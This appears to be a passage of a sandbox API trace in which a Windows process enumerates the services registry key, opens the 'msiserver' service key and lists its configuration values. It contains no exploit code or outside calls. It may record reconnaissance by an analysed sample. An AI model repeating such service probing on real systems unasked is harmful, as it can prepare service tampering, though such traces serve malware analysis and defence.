[0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0255.130] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0255.131] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0255.132] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0255.133] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0255.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0255.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0255.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0255.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0255.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0255.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0255.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0255.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0255.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0255.134] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0255.135] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0255.136] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0255.137] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0255.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0255.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0255.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0255.141] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0255.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0255.141] RegCloseKey (hKey=0x148) returned 0x0 [0255.141] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0255.141] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0255.141] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0255.141] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0255.141] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0255.141] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0255.141] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0255.141] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0255.141] RegCloseKey (hKey=0x80000002) returned 0x0 [0255.141] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0255.142] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0255.142] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0255.142] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0255.142] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0255.142] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0255.142] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0255.142] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0255.142] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0255.142] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0255.142] RegCloseKey (hKey=0x14c) returned 0x0 [0255.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0255.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0255.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0255.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0255.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0255.143] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0255.143] RegCloseKey (hKey=0x148) returned 0x0 [0255.143] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0255.143] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0255.143] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0255.143] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0255.143] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0255.143] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0255.143] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0255.143] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0255.143] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0255.144] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.144] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.144] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.144] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.144] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.144] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.144] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.144] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.144] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.145] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.145] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.145] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.145] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.145] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", 